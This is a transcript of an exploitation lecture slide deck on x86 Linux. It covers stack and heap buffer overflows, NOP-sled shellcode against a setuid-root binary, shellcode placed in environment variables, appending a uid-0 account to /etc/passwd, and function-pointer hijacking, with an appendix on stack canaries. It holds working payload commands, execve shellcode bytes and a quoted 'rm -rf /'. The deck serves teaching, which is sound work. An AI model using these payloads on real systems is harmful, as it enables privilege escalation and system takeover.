Overflows Sep 25, 2014 Hyuckmin Kwon 1. Contents Boot Camp Buffer Overflow Taking the Privilege...
Transcript of Overflows Sep 25, 2014 Hyuckmin Kwon 1. Contents Boot Camp Buffer Overflow Taking the Privilege...
1
OverflowsSep 25, 2014
Hyuckmin Kwon
2
Contents
• Boot Camp• Buffer Overflow• Taking the Privilege• Using the ENVVAR• Heap Overflow• Function Pointer Overflow
3
Boot Camp
4
Before we start
• Stack Frame• Assembly(Intel x86)• CALL func
• PUSH EIP• JMP func
• LEAVE• MOV ESP, EBP• POP EBP
• RET• POP EIP• JMP EIP
ESP
EBP
Local variable n
…
Local variable 1
Saved Frame(Base) Pointer
Return address
Argument n
…
Argument 1
….(Previous stack frame)
0x00000000
0xffffffff
5
Before we start
• We can also represent the stack frame like this
buffer1 buffer2 SFP RET arg n … arg 1
ESP EBP
6
Buffer Overflow
7
overflow_example.c
• Stack frame
• We can represent this function’s stack
int main(int argc, char *argv[]) { int value = 5; char buffer_one[8], buffer_two[8];
strcpy(buffer_one, "one"); /* put "one" into buffer_one */ strcpy(buffer_two, "two"); /* put "two" into buffer_two */ … printf("\n[STRCPY] copying %d bytes into buffer_two\n\n", strlen(argv[1])); strcpy(buffer_two, argv[1]); /* copy first argument into buffer_two */ …}
buffer_two[8] buffer_one[8] SFP RET arg n … arg 1
ESP EBP
8
overflow_example.c
• What if the input’s length > sizeof(buffer_two)?
buffer_two[8] buffer_one[8] value SFP RET arg n … arg 1
$./overflow_example 1234567890123[BEFORE] buffer_two is at 0xbffff830 and contains 'two'[BEFORE] buffer_one is at 0xbffff838 and contains 'one'[BEFORE] value is at 0xbffff844 and is 5 (0x00000005)
[STRCPY] copying 13 bytes into buffer_two
[AFTER] buffer_two is at 0xbffff830 and contains '1234567890123'[AFTER] buffer_one is at 0xbffff838 and contains '90123'[AFTER] value is at 0xbffff844 and is 5 (0x00000005)
buffer_two[8] buffer_one[8] value SFP RET arg n … arg 1
9
auth_overflow.c
• Stack frame, againint check_authentication(char *password) { int auth_flag = 0; char password_buffer[16];
strcpy(password_buffer, password);
if(strcmp(password_buffer, "brillig") == 0) auth_flag = 1; if(strcmp(password_buffer, "outgrabe") == 0) auth_flag = 1;
return auth_flag;}
password_buffer[16] auth_flag SFP RET arg n … arg 1
ESP EBP
Just change the location of two variables
10
auth_overflow2.c
• Q. Really it is enough?
auth_flag password_buffer[16] SFP RET arg n … arg 1
ESP EBP
auth_flag password_buffer[16] SFP RET arg n … arg 1
Will be the EIP’s valueafter the function is ended
It still can overwrite the return address!=It can manipulate the EIP
11
auth_overflow2.c
• Manipulate the EIP(RET)• How many bytes are needed? maybe• auth_overflow
• 16Bytes(password_buffer) + 4Bytes(auth_flag) + 4Bytes(SFP)• auth_overflow2
• 16Bytes(password_buffer) + 4Bytes(SFP)• After (24, 20) Bytes, we can manipulate the RET
• Is it right?
• Let’s demonstrate it
12
auth_overflow2.c
• We can manipulate the EIP• Then, where should we go?
int main(int argc, char *argv[]) { if(argc < 2) { printf("Usage: %s <password>\n", argv[0]); exit(0); } if(check_authentication(argv[1])) { printf("\n-=-=-=-=-=-=-=-=-=-=-=-=-=-\n"); printf(" Access Granted.\n"); printf("-=-=-=-=-=-=-=-=-=-=-=-=-=-\n"); } else { printf("\nAccess Denied.\n"); }}
Anyway,Access granted
13
auth_overflow2.c
• Using perl• perl –e ‘print “A”x20’• perl –e ‘print “\x41”x20’• ./auth_overflow2 `perl –e ‘print “A”x20’`
14
auth_overflow2.c
• Our payload• In computer security, payload refers to the part of mal-
ware which performs a malicious action (Wikipedia)
$ ./auth_overflow2 `perl –e 'print "A"x24, "AAAA", "\xbf\x84\x04\x08"'`
password_buffer
SFP
RET
15
Taking the Privilege
16
notesearch.c
• Permission
• What does the "s" mean?• setuid bit - Unix access rights flags that allow users to
run an executable with the permissions of the exe-cutable's owner or group (Wikipedia)• Therefore, we are the root only when executing note-
search
$ ls -l notesearch-rwsr-sr-x 1 root root 9169 2014-09-24 20:09 note-search
17
notesearch.c
• Main functionint main(int argc, char *argv[]) {
int userid, printing=1, fd; // file descriptorchar searchstring[100];
if(argc > 1) strcpy(searchstring, argv[1]);
elsesearchstring[0] = 0;
userid = getuid();fd = open(FILENAME, O_RDONLY);if(fd == -1)
fatal("in main() while opening file for read-ing");
while(printing)printing = print_notes(fd, userid, search-
string);printf("-------[ end of note data ]-------\n");close(fd);
}
18
notesearch.c
• Setuid as a root is very dangerous• What if we can get a shell as a root?
# rm –rf /The end of the world
19
_Shellcode
• Curriculum accelation• Shellcode – A small piece of code used as the payload in
the exploitation of a software vulnerability (Wikipedia)
• This shellcode opens a shell prompt• If we can return to the shellcode, then…
• (We won’t cover how to make a shellcode at this time)
/* execve("/bin/sh") shellcode(35 Bytes) */char shellcode[] = "\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89\xe1\xcd\x80";
20
notesearch.c
• Thinking about the payload• How to overflow it?
• Fill the stack frame, fill the SFP, and manipulate RET
• Q. Then, where is our malicious code?
Stack frame[0x98] SFP[4] RET[4]
ESP EBP
21
notesearch.c
• We can put the shellcode in the stack frame!• And point the RET to the start of the shellcode
• But the shellcode is too short to fill the stack frame..
Stack frame[0x98] SFP[4] RET[4]
ESP EBP
Shellcode + etc. = 0x98Bytes 4bytes Address of the Shellcode
RET must point the start of the shellcode!
22
notesearch.c
• NOP sled
nop nop nopnop nop nopnopnopnopnopnopnopnopnopnopnopnopnopnopnop nopnopnopnopnopnopnopnopnopnopnopnopnopnop nop nop nop nop nopnopnopnopnopnopnopnopnopnopnopnopnopnop
Sandy Claws
23
notesearch.c
• NOP sled• NOP – No OPeration
• Do nothing. Just consume a CPU cycle• NOP in x86 assembly – 0x90 (1Byte instruction)
• It does not matter how many NOPs are executed
24
notesearch.c
• Payload again
Shellcode + etc. = 152Bytes 4bytes Address of the Shellcode
RET must point to the start of the shellcode!
Shellcode with NOPs = 152Bytes(nopnopnop…
shellcode..nopnop…)4bytes Address of the
Shellcode
Pointing the middle of NOP sled is enough
25
notesearch.c
• Finishing blow
• Let's demonstrate it
$ ./notesearch `perl -e 'print "\x90"x72, "\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89\xe1\xcd\x80","\x90"x29,[RET]x20'`
26
Using the ENVVAR
27
short_buffer.c
• Everyone knows where is the vulnerable part
#include <string.h>#include <stdio.h>
int main(int argc, char* argv[]) { char buffer[20]; strcpy(buffer, argv[1]); return 0;}
But there is no room for SHELLCODE
28
short_buffer.c
• Environment variable• A set of dynamic named values that can affect the way
running processes will behave on a computer (Wikipedia)
• Let’s look at the environment variables$ envTERM=xterm-256colorSHELL=/bin/bashSSH_CLIENT=192.168.56.1 52260 22SSH_TTY=/dev/pts/1USER=ch4mchiLS_COLORS=MAIL=/var/mail/ch4mchiPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binPWD=/home/ch4mchi…
29
short_buffer.c
• How to make our own envvar?• export [name]=[value]
• Environment variables' location?• We can see them by gdb
• x/100s $ebp
$ export YELLOW=SUBMARINE$ envTERM=xterm-256colorSHELL=/bin/bashYELLOW=SUBMARINE…
30
short_buffer.c
• Environment variables are stored at the end of the stack segment• Then, how about the shellcode?
31
short_buffer.c
• Export the shellcode
$ export NECKSLICE=`perl -e 'print "\x90"x100, "\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89\xe1\xcd\x80"'`$ env…PWD=/home/ch4mchiLANG=en_US.UTF-8NECKSLICE=����������������������������������������������������������������������������������������������������1�1�1ə��j XQh//shh/bin��Q��S��…
32
short_buffer.c
• All we have to do is make RET point the shellcode• In the set of environment variable
Anything for filling stack frame SFP RET … NECKSLICE
33
short_buffer.c
• Where is the NECKSLICE?/* getenvaddr.c */int main(int argc, char *argv[]) { char *ptr;
if(argc < 3) { printf("Usage: %s <envvar> <target program name>\n", argv[0]); exit(0); } ptr = getenv(argv[1]); /* get env var location */ /* adjust for program name */ ptr += (strlen(argv[0]) - strlen(argv[2]))*2; printf("%s will be at %p\n", argv[1], ptr);}
34
short_buffer.c
• Payload
• Let's demonstrate it
$ ./short_buffer `perl –e 'print "A"x40, "AAAA", [ret]'`
35
Heap Overflow
36
notetaker.c
• Heap also can be overflowed
• First, we need to find each heap's address
int main(int argc, char *argv[]) { int userid, fd; // file descriptor char *buffer, *datafile;
buffer = (char *) ec_malloc(100); datafile = (char *) ec_malloc(20); strcpy(datafile, "/var/notes");
if(argc < 2) usage(argv[0], datafile);
strcpy(buffer, argv[1]);
printf("[DEBUG] buffer @ %p: \'%s\'\n", buffer, buffer);
37
notetaker.c
• Overflow the buffer
• Because of the glibc's checking, heap overflow has a limit in this time
$ ./notetaker `perl -e 'print "A"x104,"BBBB"'`[DEBUG] buffer @ 0x804a008: 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'[DEBUG] datafile @ 0x804a070: 'BBBB'[DEBUG] file descriptor is 3Note has been saved.*** glibc detected *** ./booksrc/notetaker: free(): invalid next size (normal): 0x0804a008 ***======= Backtrace: =========/lib/tls/i686/cmov/libc.so.6[0xb7f017cd]
38
notetaker.c
• Strategy• buffer – content of the note• datafile – filename of the note• notetaker – SUID(as root)ed binary• Memory map
buffer[100] …………………. datafile[20]
104Bytes
39
notetaker.c
• /etc/passwd: Stores information of each user
$ cat /etc/passwdroot:x:0:0:root:/root:/bin/bashdaemon:x:1:1:daemon:/usr/sbin:/bin/shbin:x:2:2:bin:/bin:/bin/shsys:x:3:3:sys:/dev:/bin/shsync:x:4:65534:sync:/bin:/bin/syncgames:x:5:60:games:/usr/games:/bin/shman:x:6:12:man:/var/cache/man:/bin/shlp:x:7:7:lp:/var/spool/lpd:/bin/shmail:x:8:8:mail:/var/mail:/bin/shnews:x:9:9:news:/var/spool/news:/bin/shuucp:x:10:10:uucp:/var/spool/uucp:/bin/shproxy:x:13:13:proxy:/bin:/bin/shwww-data:x:33:33:www-data:/var/www:/bin/sh…
40
notetaker.c
• Idea – Overwrite the /etc/passwd• Because the open() in the notetaker contains
O_APPEND, we can append an arbitrary account
• XXq2wKiyI43A2• crypt("password", "XX");
hiroot:XXq2wKiyI43A2:0:0:me:/root:/bin/bash
Name
PW
ID(0 means root)
Group
Login shell
Home dir
41
notetaker.c
• Problem – the input should be ended with "/etc/passwd"
• Finally, we can add the new account
myroot:XXq2wKiyI43A2:0:0:me:/root:/bin/bash
$ mkdir /tmp/etc$ ln -s /bin/bash /tmp/etc/passwd$ ls -l /tmp/etc/passwdlrwxrwxrwx 1 ch4mchi ch4mchi /tmp/etc/passwd -> /bin/bash
hiroot:XXq2wKiyI43A2:0:0:me:/root:/tmp/etc/passwd
42
notetaker.c
• Payload$ ./notetaker `perl -e 'print "hiroot:XXq2wKiyI43A2:0:0:", "A"x68,":/root:/tmp/etc/passwd"For fitting
the buffer distance
43
Function Pointer Overflow
44
game_of_chance.c
• A structure in the source
• Function pointer performs like RET
struct user { int uid; int credits; int highscore; char name[100]; int (*current_game) ();};
45
game_of_chance.c
• Dealing with struct user
void input_name() { char *name_ptr, input_char='\n'; while(input_char == '\n') // Flush any leftover scanf("%c", &input_char); // newline chars.
// name_ptr = player name's address name_ptr = (char *) &(player.name);
while(input_char != '\n') { *name_ptr = input_char; scanf("%c", &input_char); name_ptr++; } *name_ptr = 0; // Terminate the string.}
46
game_of_chance.c
• We have to preserve the last_gameif((choice < 1) || (choice > 7)) printf("\n[!!] The number %d is an invalid selection.\n\n", choice);else if (choice < 4) { // Othewise, choice was a game of some sort. if(choice != last_game) { // If the function ptr isn't set if(choice == 1) // then point it at the selected game player.current_game = pick_a_number; else if(choice == 2) player.current_game = dealer_no_match; else player.current_game = find_the_ace; last_game = choice; // and set last_game. } play_the_game(); // Play the game.}
47
game_of_chance.c
• Find the profit function$ nm game_of_chance…08048d70 T jackpot…
48
game_of_chance.c
• Payload• Like a macro
• It will change the current_game function pointer points to jackpot()
$ perl -e 'print "1\n5\nn\n5\n","A"x100,"\x70\x8d\x04\x08\n","1\nn\n","7\n"' | ./game_of_chance
$ perl -e 'print "1\n5\nn\n5\n","A"x100,"\x70\x8d\x04\x08\n","1\n","y\n"x10,"n\n7\n' | ./game_of_chance
49
Thank You for lis-tening
50
Appendix(Stack protector)
51
Stack protector
• classic.c
#include <string.h>
int main(int argc, char* argv[]) { int deadbeef = 0xDEADBEEF; int deadcafe = 0xDEADCAFE; char hibari[16];
strcpy(hibari, argv[1]); return 0;}
52
Stack protector
• Without canary$ gcc classic.c –o classic_fno_stack_protector –fno-stack-protec-tor(gdb) disass main 0x0804841d <+0> : push ebp 0x0804841e <+1> : mov ebp,esp 0x08048420 <+3> : and esp,0xfffffff0 0x08048423 <+6> : sub esp,0x30 0x08048426 <+9> : mov DWORD PTR [esp+0x2c],0xdeadbeef 0x0804842e <+17>: mov DWORD PTR [esp+0x28],0xdeadcafe 0x08048436 <+25>: mov eax,DWORD PTR [ebp+0xc] 0x08048439 <+28>: add eax,0x4 0x0804843c <+31>: mov eax,DWORD PTR [eax] 0x0804843e <+33>: mov DWORD PTR [esp+0x4],eax 0x08048442 <+37>: lea eax,[esp+0x18] 0x08048446 <+41>: mov DWORD PTR [esp],eax 0x08048449 <+44>: call 0x80482f0 <strcpy@plt> 0x0804844e <+49>: mov eax,0x0 0x08048453 <+54>: leave 0x08048454 <+55>: ret
53
Stack protector
• Without canary – Stack frame(gdb) x/16x $esp0xbffff670: 0xbffff688 0xbffff89c 0x0804a000 0x080484b20xbffff680: 0x00000002 0xbffff744 0x61616161 0x626262620xbffff690: 0x63636363 0x64646464 0xdeadcafe 0xdead-beef0xbffff6a0: 0x08048460 0x00000000 0x00000000 0xb7e3fa83
RET
SFP
deadbeef
deadcafe
hibari[12:15]
hibari[8:11]
hibari[4:7]
hibari[0:3]
EBP
ESP
54
Stack protector
• fstack-protector – Step 1. write a canary$ gcc classic.c –o classic_fstack_protector –fstack-protector(gdb) disass main 0x0804846d <+0> : push ebp 0x0804846e <+1> : mov ebp,esp 0x08048470 <+3> : and esp,0xfffffff0 0x08048473 <+6> : sub esp,0x30 0x08048476 <+9> : mov eax,DWORD PTR [ebp+0xc] 0x08048479 <+12>: mov DWORD PTR [esp+0xc],eax 0x0804847d <+16>: mov eax,gs:0x14 0x08048483 <+22>: mov DWORD PTR [esp+0x2c],eax 0x08048487 <+26>: xor eax,eax 0x08048489 <+28>: mov DWORD PTR [esp+0x14],0xdeadbeef 0x08048491 <+36>: mov DWORD PTR [esp+0x18],0xdeadcafe 0x08048499 <+44>: mov eax,DWORD PTR [esp+0xc] 0x0804849d <+48>: add eax,0x4 0x080484a0 <+51>: mov eax,DWORD PTR [eax] 0x080484a2 <+53>: mov DWORD PTR [esp+0x4],eax 0x080484a6 <+57>: lea eax,[esp+0x1c] 0x080484aa <+61>: mov DWORD PTR [esp],eax 0x080484ad <+64>: call 0x8048340 <strcpy@plt>
55
Stack protector
• fstack-protector
• Step 2. Check the canary remains same
$ gcc classic.c –o classic_fstack_protector –fstack-protector(gdb) disass main 0x080484b2 <+69>: mov eax,0x0 0x080484b7 <+74>: mov edx,DWORD PTR [esp+0x2c] 0x080484bb <+78>: xor edx,DWORD PTR gs:0x14 0x080484c2 <+85>: je 0x80484c9 <main+92> 0x080484c4 <+87>: call 0x8048330 <__stack_chk_fail@plt> 0x080484c9 <+92>: leave 0x080484ca <+93>: ret
56
Stack protector
• fstack-protector – Stack frame(gdb) x/16x $esp0xbffff670: 0xbffff68c 0xbffff8a0 0x0804a000 0xbffff7440xbffff680: 0x00000002 0xdeadbeef 0xdeadcafe 0x616161610xbffff690: 0x62626262 0x63636363 0x00646464 0x9af7b4000xbffff6a0: 0x080484d0 0x00000000 0x00000000 0xb7e3fa83
RET
SFP
CANARY
hibari[12:15]
hibari[8:11]
hibari[4:7]
hibari[0:3]
deadcafe
deadbeef
EBP
ESP
57
Stack protector
• fstack-protector-all
• Step 2. Same
$ gcc classic.c –o classic_fstack_protector_all –fstack-protec-tor-all(gdb) disass main 0x0804846d <+0>: push ebp 0x0804846e <+1>: mov ebp,esp 0x08048470 <+3>: and esp,0xfffffff0 0x08048473 <+6>: sub esp,0x30 0x08048476 <+9>: mov eax,DWORD PTR [ebp+0x8] 0x08048479 <+12>: mov DWORD PTR [esp+0xc],eax 0x0804847d <+16>: mov eax,DWORD PTR [ebp+0xc] 0x08048480 <+19>: mov DWORD PTR [esp+0x8],eax 0x08048484 <+23>: mov eax,gs:0x14 0x0804848a <+29>: mov DWORD PTR [esp+0x2c],eax 0x0804848e <+33>: xor eax,eax 0x08048490 <+35>: mov DWORD PTR [esp+0x14],0xdeadbeef 0x08048498 <+43>: mov DWORD PTR [esp+0x18],0xdeadcafe
58
Stack protector
• fstack-protector-all – Step 1. Almost same$ gcc classic.c –o classic_fstack_protector_all –fstack-protec-tor-all(gdb) disass main 0x080484a0 <+51>: mov eax,DWORD PTR [esp+0x8] 0x080484a4 <+55>: add eax,0x4 0x080484a7 <+58>: mov eax,DWORD PTR [eax] 0x080484a9 <+60>: mov DWORD PTR [esp+0x4],eax 0x080484ad <+64>: lea eax,[esp+0x1c] 0x080484b1 <+68>: mov DWORD PTR [esp],eax 0x080484b4 <+71>: call 0x8048340 <strcpy@plt> 0x080484b9 <+76>: mov eax,0x0 0x080484be <+81>: mov edx,DWORD PTR [esp+0x2c] 0x080484c2 <+85>: xor edx,DWORD PTR gs:0x14 0x080484c9 <+92>: je 0x80484d0 <main+99> 0x080484cb <+94>: call 0x8048330 <__stack_chk_fail@plt> 0x080484d0 <+99>: leave 0x080484d1 <+100>: ret
59
Stack protector
• fstack-protector
• Step 2. Check the canary remains same
$ gcc classic.c –o classic_fstack_protector –fstack-protector(gdb) disass main 0x080484b2 <+69>: mov eax,0x0 0x080484b7 <+74>: mov edx,DWORD PTR [esp+0x2c] 0x080484bb <+78>: xor edx,DWORD PTR gs:0x14 0x080484c2 <+85>: je 0x80484c9 <main+92> 0x080484c4 <+87>: call 0x8048330 <__stack_chk_fail@plt> 0x080484c9 <+92>: leave 0x080484ca <+93>: ret
60
Stack protector
• fstack-protector• If we try to overflow the stack$ ./classic_fstack_protector aaaaaaaaaaaaaaaaaaaaaaaaaaaa
*** stack smashing detected ***: ./classic_fstack_protector ter-minated/* canary will be dead */
61
Stack protector
• fstack-protector-all – Stack frame(gdb) x/16x $esp0xbffff670: 0xbffff68c 0xbffff89c 0xbffff744 0x000000020xbffff680: 0x00000002 0xdeadbeef 0xdeadcafe 0x616161610xbffff690: 0x62626262 0x63636363 0x00646464 0x3f0e3a000xbffff6a0: 0x080484e0 0x00000000 0x00000000 0xb7e3fa83
RET
SFP
CANARY
hibari[12:15]
hibari[8:11]
hibari[4:7]
hibari[0:3]
deadcafe
deadbeef
EBP
ESP
62
Stack protector
• fstack-protector vs fstack-protector-all• fstack-protector protects only vulnerable functions
• E.g. sizeof(char_array) > 8• fstack-protector protects all functions in the program
• No exception
63
Stack protector
• modern.c
#include <string.h>
int pwn(){ int no_char; return 0;}
int main(int argc, char* argv[]) { int deadbeef = 0xDEADBEEF; int deadcafe = 0xDEADCAFE; char hibari[16];
pwn(); strcpy(hibari, argv[1]); return 0;}
64
Stack protector
• fstack-protector$ gcc modern.c –o modern_fno_stack_protector –fno-stack-protector(gdb) disass pwnDump of assembler code for function pwn: 0x0804846d <+0>: push ebp 0x0804846e <+1>: mov ebp,esp 0x08048470 <+3>: mov eax,0x0 0x08048475 <+8>: pop ebp 0x08048476 <+9>: ret
65
Stack protector
• fstack-protector-all$ gcc modern.c –o modern_fno_stack_protector_all –fno-stack-protec-tor-all(gdb) disass pwnDump of assembler code for function pwn: 0x0804846d <+0> : push ebp 0x0804846e <+1> : mov ebp,esp 0x08048470 <+3> : sub esp,0x18 0x08048473 <+6> : mov eax,gs:0x14 0x08048479 <+12>: mov DWORD PTR [ebp-0xc],eax 0x0804847c <+15>: xor eax,eax 0x0804847e <+17>: mov eax,0x0 0x08048483 <+22>: mov edx,DWORD PTR [ebp-0xc] 0x08048486 <+25>: xor edx,DWORD PTR gs:0x14 0x0804848d <+32>: je 0x8048494 <pwn+39> 0x0804848f <+34>: call 0x8048330 <__stack_chk_fail@plt> 0x08048494 <+39>: leave 0x08048495 <+40>: ret